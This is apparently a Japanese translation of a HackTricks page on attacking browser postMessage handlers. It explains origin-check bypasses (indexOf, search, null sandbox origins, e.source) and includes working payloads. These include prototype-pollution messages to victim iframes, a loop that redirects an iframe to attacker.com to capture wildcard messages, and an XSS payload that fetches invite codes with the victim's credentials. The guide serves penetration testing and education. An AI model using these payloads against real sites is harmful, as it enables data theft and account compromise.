.. | ||
blocking-main-page-to-steal-postmessage.md | ||
bypassing-sop-with-iframes-1.md | ||
bypassing-sop-with-iframes-2.md | ||
README.md | ||
steal-postmessage-modifying-iframe-location.md |
PostMessageの脆弱性
PostMessageの脆弱性
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。
PostMessageの送信
PostMessageは、次の関数を使用してメッセージを送信します:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
注意してください。targetOriginは'*'または_https://company.com_のようなURLである場合があります。
2番目のシナリオでは、メッセージはそのドメインにのみ送信されます(ウィンドウオブジェクトのオリジンが異なっていても)。
ワイルドカードが使用される場合、メッセージは任意のドメインに送信され、ウィンドウオブジェクトのオリジンに送信されます。
iframeとワイルドカードを使用した攻撃
このレポートで説明されているように、X-Frame-Headerの保護がないiframeで表示できるページを見つけ、ワイルドカード(*)を使用してpostMessageを介して機密情報を送信している場合、iframeのoriginを変更して、機密情報を自分が制御するドメインに漏洩させることができます。
ただし、ページがiframeで表示できるが、targetOriginがURLに設定されていてワイルドカードではない場合、このトリックは機能しません。
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
addEventListenerの悪用
**addEventListener
**は、JSがpostMessage
を期待している関数を宣言するために使用される関数です。
以下のようなコードが使用されます。
window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;
// ...
}, false);
この場合、コードが最初に行っているのはオリジンのチェックです。これは非常に重要です。特に、ページが受け取った情報を何かしらの機密な操作(パスワードの変更など)に使用する場合には重要です。オリジンのチェックが行われていない場合、攻撃者は被害者に任意のデータをエンドポイントに送らせ、被害者のパスワードを変更することができます(この例では)。
列挙
現在のページでイベントリスナーを見つけるためには、以下の方法があります:
- JSコード内で
window.addEventListener
と$(window).on
(JQueryバージョン)を検索する - 開発者ツールのコンソールで次のコマンドを実行する:
getEventListeners(window)
- ブラウザの開発者ツールで_Elements --> Event Listeners_に移動する
- https://github.com/benso-io/postaやhttps://github.com/fransr/postMessage-trackerのようなブラウザ拡張機能を使用する。これらのブラウザ拡張機能は、すべてのメッセージを傍受し、表示します。
オリジンの基本的なバイパスのチェック
- もし、PostMessageイベントのオリジンをチェックするために**
indexOf()
**が使用されている場合、次の例のように簡単にバイパスされることに注意してください:("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
\ - もし、
search()
がオリジンを検証するために使用されている場合、安全ではない可能性があります。String.prototype.search()
のドキュメントによると、このメソッドは文字列ではなく正規表現オブジェクトを受け取ります。正規表現以外のものが渡されると、それは暗黙的に正規表現に変換されます。
正規表現では、ドット(.)はワイルドカードとして扱われます。攻撃者はこれを利用して、公式のドメインではなく特別なドメインを使用して検証をバイパスすることができます。例えば、"https://www.safedomain.com".search("www.s.fedomain.com")
のようにです。\ - もし、
escapeHtml
関数が使用されている場合、この関数はnew
でエスケープされたオブジェクトを作成するのではなく、既存のオブジェクトのプロパティを上書きします。つまり、hasOwnProperty
に応答しない制御可能なプロパティを持つオブジェクトを作成できれば、エスケープされません。
// Expected to fail:
result = u({
message: "'\"<b>\\"
});
result.message // "'"<b>\"
// Bypassed:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
File
オブジェクトは、読み取り専用のname
プロパティを持っているため、テンプレートで使用され、escapeHtml
関数をバイパスするのに最適です。
e.origin == window.originのバイパス
ページが<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">
を介してサンドボックス化されたiframeに埋め込まれると、そのiframeのオリジンは**null
**になります。
sandboxの値がallow-popups
に設定されている場合、開かれたポップアップは、allow-popups-to-escape-sandbox
が設定されていない限り、すべてのサンドボックス属性を継承します。
したがって、nullのオリジンからポップアップを開くと、ポップアップ内の**window.origin
もnull
**になります。
したがって、ポップアップを許可するサンドボックス化されたiframeを開き、そのiframe内からポップアップを開き、iframeからポップアップにpostMessageを送信すると、両方のオリジンはnullになるため、**e.origin == window.origin == null
**です。
詳細については、以下を参照してください:
{% content-ref url="bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}
e.sourceのバイパス
postMessageを送信し、すぐに削除されるiframeを作成することで、メッセージの**e.source
**をnullに強制することができます。
詳細については、以下を参照してください:
{% content-ref url="bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}
X-Frame-Headerのバイパス
これらの攻撃を実行するためには、理想的には被害者のウェブページをiframe
内に配置できることが望ましいです。ただし、X-Frame-Header
などの一部のヘッダーは、そのような動作を防止することがあります。
そのようなシナリオでは、より目立たない攻撃を使用することができます。脆弱なウェブアプリケーションに新しいタブを開き、それと通信することができます:
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
メインページのブロックによる子への送信メッセージの盗み出し
以下のページでは、メインページを送信データを送る前にブロックし、子のiframeに送信される機密のpostmessageデータを盗み出す方法を示しています。そして、子のXSSを悪用してデータが受信される前にデータを漏洩させます。
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}
iframeの場所を変更してメッセージを盗み出す
もし、X-Frame-Headerを持たないウェブページに別のiframeが含まれている場合、その子のiframeの場所を変更することができます。そのため、ワイルドカードを使用して送信されたpostmessageを受信している場合、攻撃者はそのiframeのオリジンを自分が制御するページに変更し、メッセージを盗み出すことができます。
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}
Prototype Pollutionおよび/またはXSSへのpostMessage
postMessage
を介して送信されるデータがJSによって実行されるシナリオでは、ページをiframe化し、postMessage
を介してエクスプロイトを送信することで、プロトタイプ汚染/XSSを悪用することができます。
非常に詳しく説明されたXSSの例は、https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.htmlで見つけることができます。
postMessage
を介してiframe
にPrototype Pollutionを悪用し、その後XSSを行うエクスプロイトの例:
<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}
setTimeout(get_code, 2000);
</script>
</body>
</html>
詳細情報については以下を参照してください:
- プロトタイプ汚染に関するページへのリンク
- XSSに関するページへのリンク
- クライアント側のプロトタイプ汚染からXSSへに関するページへのリンク
参考文献
- https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
- https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd
- 練習用:https://github.com/yavolo/eventlistener-xss-recon
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見しましょう、私たちの独占的なNFTのコレクション
- 公式のPEASS&HackTricksのグッズを手に入れましょう
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterで私をフォローしてください🐦@carlospolopm.
- ハッキングのトリックを共有するには、PRを hacktricks repo および hacktricks-cloud repo に提出してください。